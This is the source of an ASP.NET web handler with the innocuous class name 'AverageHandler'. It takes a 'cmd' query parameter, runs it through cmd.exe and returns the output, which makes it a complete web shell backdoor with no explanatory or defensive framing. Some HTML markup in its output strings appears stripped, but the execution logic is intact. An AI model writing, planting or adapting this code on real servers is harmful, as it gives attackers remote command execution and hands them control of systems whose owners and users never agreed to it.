<% @ webhandler language="C#" class="AverageHandler" %> using System; using System.Web; using System.Diagnostics; using System.IO; public class AverageHandler : IHttpHandler { /* .Net requires this to be implemented */ public bool IsReusable { get { return true; } } /* main executing code */ public void ProcessRequest(HttpContext ctx) { Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); string command = HttpUtility.ParseQueryString(url.Query).Get("cmd"); ctx.Response.Write("
Command:
"); ctx.Response.Write("
"); ctx.Response.Write("
");

    /* command execution and output retrieval */
    ProcessStartInfo psi = new ProcessStartInfo();
    psi.FileName = "cmd.exe";
    psi.Arguments = "/c "+command;
    psi.RedirectStandardOutput = true;
    psi.UseShellExecute = false;
    Process p = Process.Start(psi);
    StreamReader stmrdr = p.StandardOutput;
    string s = stmrdr.ReadToEnd();
    stmrdr.Close();

    ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
 }
}